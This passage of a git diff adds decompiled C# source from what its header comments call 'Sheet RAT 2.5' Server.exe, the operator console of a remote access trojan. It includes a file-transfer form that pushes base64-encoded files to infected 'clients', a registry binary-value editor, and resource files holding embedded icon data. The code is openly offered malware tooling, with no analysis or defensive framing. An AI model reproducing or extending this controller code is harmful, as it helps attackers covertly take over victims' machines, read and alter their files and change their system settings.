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 + + \ No newline at end of file diff --git a/Server/Server/Forms/FormProgressBar.cs b/Server/Server/Forms/FormProgressBar.cs new file mode 100644 index 0000000..92146b7 --- /dev/null +++ b/Server/Server/Forms/FormProgressBar.cs @@ -0,0 +1,152 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Forms.FormProgressBar +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using MetroFramework; +using MetroFramework.Controls; +using MetroFramework.Forms; +using Server.Connection; +using Server.Helper; +using Server.Helper.Configs.Themes; +using System; +using System.Windows.Forms; +using System.ComponentModel; +using System.Drawing; +using System.IO; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Forms { + +public class FormProgressBar : MetroForm +{ + public Clients client; + public bool download; + public int size; + public int SC; + public string path; + public string pathFile; + public bool thisisdir; + private IContainer components; + public Label label1; + private MetroProgressBar metroProgressBar1; + public Timer timer1; + + public FormProgressBar() => this.InitializeComponent(); + + public void Init() + { + this.SC = 0; + this.metroProgressBar1.Maximum = this.size; + if (this.download) + { + this.label1.Text = $"{Methods.BytesToString((long) this.size)} \\ {Methods.BytesToString((long) this.SC)}"; + this.metroProgressBar1.Value = this.SC; + this.client.Recevied += (Clients.BytesDelegate) (item => Program.form.Invoke((MethodInvoker) (() => + { + this.SC += item; + if (this.SC >= this.size) + return; + this.metroProgressBar1.Value = this.size; + this.label1.Text = $"{Methods.BytesToString((long) this.size)} \\ {Methods.BytesToString((long) this.SC)}"; + this.metroProgressBar1.Value = this.SC; + }))); + } + else + { + this.label1.Text = $"{Methods.BytesToString((long) this.size)} \\ {Methods.BytesToString((long) this.SC)}"; + this.metroProgressBar1.Value = this.SC; + this.client.Sent += (Clients.BytesDelegate) (item => Program.form.Invoke((MethodInvoker) (() => + { + this.SC += item; + if (this.SC > this.size) + return; + this.metroProgressBar1.Value = this.size; + this.label1.Text = $"{Methods.BytesToString((long) this.size)} \\ {Methods.BytesToString((long) this.SC)}"; + this.metroProgressBar1.Value = this.SC; + }))); + this.client.SendFile((object) $"Upload<@>{this.path}<@>{Convert.ToBase64String(File.ReadAllBytes(this.pathFile))}"); + } + this.FormClosing += (FormClosingEventHandler) ((t, p) => + { + if (this.client == null) + return; + this.client.Disconnected(); + }); + } + + public void CloseCT() => this.Close(); + + private void FormProgressBar_Load(object sender, EventArgs e) + { + this.label1.BackColor = Color.FromArgb((int) byte.MaxValue, (int) byte.MaxValue, (int) byte.MaxValue); + this.label1.ForeColor = Color.FromArgb(0, 174, 219); + if (Customs.customs.Style != MetroColorStyle.Lime) + { + this.Style = Customs.customs.Style; + this.metroProgressBar1.Style = Customs.customs.Style; + this.label1.ForeColor = Customs.customs.StyleToColor(); + } + if (Customs.customs.Theme != MetroThemeStyle.Dark) + { + this.Theme = Customs.customs.Theme; + this.metroProgressBar1.Theme = Customs.customs.Theme; + this.label1.BackColor = Color.FromArgb((int) byte.MaxValue, (int) byte.MaxValue, (int) byte.MaxValue); + } + this.Refresh(); + } + + private void timer1_Tick(object sender, EventArgs e) + { + if (this.client.Connect) + return; + this.Close(); + } + + protected override void Dispose(bool disposing) + { + if (disposing && this.components != null) + this.components.Dispose(); + base.Dispose(disposing); + } + + private void InitializeComponent() + { + this.components = (IContainer) new System.ComponentModel.Container(); + this.label1 = new Label(); + this.metroProgressBar1 = new MetroProgressBar(); + this.timer1 = new Timer(this.components); + this.SuspendLayout(); + this.label1.AutoSize = true; + this.label1.Font = new Font("Microsoft Sans Serif", 12f, FontStyle.Regular, GraphicsUnit.Point, (byte) 204); + this.label1.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 0); + this.label1.Location = new Point(23, 90); + this.label1.Name = "label1"; + this.label1.Size = new Size(73, 20); + this.label1.TabIndex = 3; + this.label1.Text = "0kb / 0kb"; + this.metroProgressBar1.Anchor = AnchorStyles.Top | AnchorStyles.Left | AnchorStyles.Right; + this.metroProgressBar1.Location = new Point(23, 63 /*0x3F*/); + this.metroProgressBar1.Name = "metroProgressBar1"; + this.metroProgressBar1.Size = new Size(299, 23); + this.metroProgressBar1.Style = MetroColorStyle.Lime; + this.metroProgressBar1.TabIndex = 4; + this.metroProgressBar1.Theme = MetroThemeStyle.Dark; + this.timer1.Tick += new EventHandler(this.timer1_Tick); + this.AutoScaleDimensions = new SizeF(6f, 13f); + this.AutoScaleMode = AutoScaleMode.Font; + this.ClientSize = new Size(345, 138); + this.Controls.Add((Control) this.metroProgressBar1); + this.Controls.Add((Control) this.label1); + this.Name = nameof (FormProgressBar); + this.Style = MetroColorStyle.Lime; + this.Text = "Progress"; + this.Theme = MetroThemeStyle.Dark; + this.Load += new EventHandler(this.FormProgressBar_Load); + this.ResumeLayout(false); + this.PerformLayout(); + } +} +} diff --git a/Server/Server/Forms/FormProgressBar.resx b/Server/Server/Forms/FormProgressBar.resx new file mode 100644 index 0000000..c7e0d4b --- /dev/null +++ b/Server/Server/Forms/FormProgressBar.resx @@ -0,0 +1,120 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + \ No newline at end of file diff --git a/Server/Server/Forms/FormRegValueEditBinary.cs b/Server/Server/Forms/FormRegValueEditBinary.cs new file mode 100644 index 0000000..cc6a712 --- /dev/null +++ b/Server/Server/Forms/FormRegValueEditBinary.cs @@ -0,0 +1,172 @@ +// Decompiled with JetBrains decompiler +// Type: Server.Forms.FormRegValueEditBinary +// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null +// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA +// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe + +using MetroFramework; +using MetroFramework.Controls; +using MetroFramework.Forms; +using Server.Helper; +using Server.Helper.Configs.Themes; +using System; +using System.Windows.Forms; +using System.ComponentModel; +using System.Drawing; +using System.Windows.Forms; + +//#nullable disable +namespace Server.Forms { + +public class FormRegValueEditBinary : MetroForm +{ + private readonly RegistrySeeker.RegValueData _value; + private const string INVALID_BINARY_ERROR = "The binary value was invalid and could not be converted correctly."; + private IContainer components; + private Server.Helper.HexEditor.HexEditor hexEditor; + private MetroTextBox valueNameTxtBox; + private MetroLabel metroLabel1; + private MetroLabel metroLabel2; + private MetroButton cancelButton; + private MetroButton okButton; + + public FormRegValueEditBinary(RegistrySeeker.RegValueData value) + { + this._value = value; + this.InitializeComponent(); + } + + private void okButton_Click(object sender, EventArgs e) + { + byte[] hexTable = this.hexEditor.HexTable; + if (hexTable != null) + { + try + { + this._value.Data = hexTable; + this.DialogResult = DialogResult.OK; + this.Tag = (object) this._value; + } + catch + { + this.ShowWarning("The binary value was invalid and could not be converted correctly.", "Warning"); + this.DialogResult = DialogResult.None; + } + } + this.Close(); + } + + private void ShowWarning(string msg, string caption) + { + int num = (int) MessageBox.Show(msg, caption, MessageBoxButtons.OK, MessageBoxIcon.Exclamation); + } + + private void FormRegValueEditBinary_Load(object sender, EventArgs e) + { + if (Customs.customs.Theme != MetroThemeStyle.Dark) + { + this.Theme = Customs.customs.Theme; + this.valueNameTxtBox.Theme = Customs.customs.Theme; + this.metroLabel1.Theme = Customs.customs.Theme; + this.metroLabel2.Theme = Customs.customs.Theme; + this.okButton.Theme = Customs.customs.Theme; + this.cancelButton.Theme = Customs.customs.Theme; + this.hexEditor.BackColor = Customs.customs.ThemeToColor(); + } + if (Customs.customs.Style != MetroColorStyle.Lime) + { + this.Style = Customs.customs.Style; + this.valueNameTxtBox.Style = Customs.customs.Style; + this.metroLabel1.Style = Customs.customs.Style; + this.metroLabel2.Style = Customs.customs.Style; + this.okButton.Style = Customs.customs.Style; + this.cancelButton.Style = Customs.customs.Style; + this.hexEditor.ForeColor = Customs.customs.StyleToColor(); + } + this.Refresh(); + } + + private void cancelButton_Click(object sender, EventArgs e) => this.Close(); + + protected override void Dispose(bool disposing) + { + if (disposing && this.components != null) + this.components.Dispose(); + base.Dispose(disposing); + } + + private void InitializeComponent() + { + ComponentResourceManager componentResourceManager = new ComponentResourceManager(typeof (FormRegValueEditBinary)); + this.hexEditor = new Server.Helper.HexEditor.HexEditor(); + this.valueNameTxtBox = new MetroTextBox(); + this.metroLabel1 = new MetroLabel(); + this.metroLabel2 = new MetroLabel(); + this.cancelButton = new MetroButton(); + this.okButton = new MetroButton(); + this.SuspendLayout(); + this.hexEditor.BorderColor = Color.Empty; + this.hexEditor.Cursor = Cursors.IBeam; + this.hexEditor.ForeColor = Color.FromArgb(0, 192 /*0xC0*/, 192 /*0xC0*/); + this.hexEditor.Location = new Point(14, 137); + this.hexEditor.Margin = new Padding(4); + this.hexEditor.Name = "hexEditor"; + this.hexEditor.Size = new Size(456, 245); + this.hexEditor.TabIndex = 10; + this.valueNameTxtBox.Location = new Point(14, 87); + this.valueNameTxtBox.Name = "valueNameTxtBox"; + this.valueNameTxtBox.Size = new Size(456, 23); + this.valueNameTxtBox.TabIndex = 11; + this.valueNameTxtBox.Theme = MetroThemeStyle.Dark; + this.valueNameTxtBox.UseStyleColors = true; + this.metroLabel1.AutoSize = true; + this.metroLabel1.Location = new Point(14, 60); + this.metroLabel1.Name = "metroLabel1"; + this.metroLabel1.Size = new Size(84, 20); + this.metroLabel1.TabIndex = 12; + this.metroLabel1.Text = "Value name:"; + this.metroLabel1.Theme = MetroThemeStyle.Dark; + this.metroLabel1.UseStyleColors = true; + this.metroLabel2.AutoSize = true; + this.metroLabel2.Location = new Point(14, 113); + this.metroLabel2.Name = "metroLabel2"; + this.metroLabel2.Size = new Size(75, 20); + this.metroLabel2.TabIndex = 13; + this.metroLabel2.Text = "Value data:"; + this.metroLabel2.Theme = MetroThemeStyle.Dark; + this.metroLabel2.UseStyleColors = true; + this.cancelButton.Location = new Point(393, 390); + this.cancelButton.Name = "cancelButton"; + this.cancelButton.Size = new Size(75, 31 /*0x1F*/); + this.cancelButton.TabIndex = 14; + this.cancelButton.Text = "Cancel"; + this.cancelButton.Theme = MetroThemeStyle.Dark; + this.cancelButton.Click += new EventHandler(this.cancelButton_Click); + this.okButton.Location = new Point(312, 390); + this.okButton.Name = "okButton"; + this.okButton.Size = new Size(75, 31 /*0x1F*/); + this.okButton.TabIndex = 15; + this.okButton.Text = "Ok"; + this.okButton.Theme = MetroThemeStyle.Dark; + this.okButton.Click += new EventHandler(this.okButton_Click); + this.AutoScaleDimensions = new SizeF(8f, 16f); + this.AutoScaleMode = AutoScaleMode.Font; + this.ClientSize = new Size(497, 433); + this.Controls.Add((Control) this.okButton); + this.Controls.Add((Control) this.cancelButton); + this.Controls.Add((Control) this.metroLabel2); + this.Controls.Add((Control) this.metroLabel1); + this.Controls.Add((Control) this.valueNameTxtBox); + this.Controls.Add((Control) this.hexEditor); + this.ForeColor = Color.Yellow; + this.Icon = (Icon) componentResourceManager.GetObject("$this.Icon"); + this.Margin = new Padding(4); + this.Name = nameof (FormRegValueEditBinary); + this.Text = nameof (FormRegValueEditBinary); + this.Theme = MetroThemeStyle.Dark; + this.Load += new EventHandler(this.FormRegValueEditBinary_Load); + this.ResumeLayout(false); + this.PerformLayout(); + } +} +} diff --git a/Server/Server/Forms/FormRegValueEditBinary.resx b/Server/Server/Forms/FormRegValueEditBinary.resx new file mode 100644 index 0000000..ee1e63a --- /dev/null +++ b/Server/Server/Forms/FormRegValueEditBinary.resx @@ -0,0 +1,123 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 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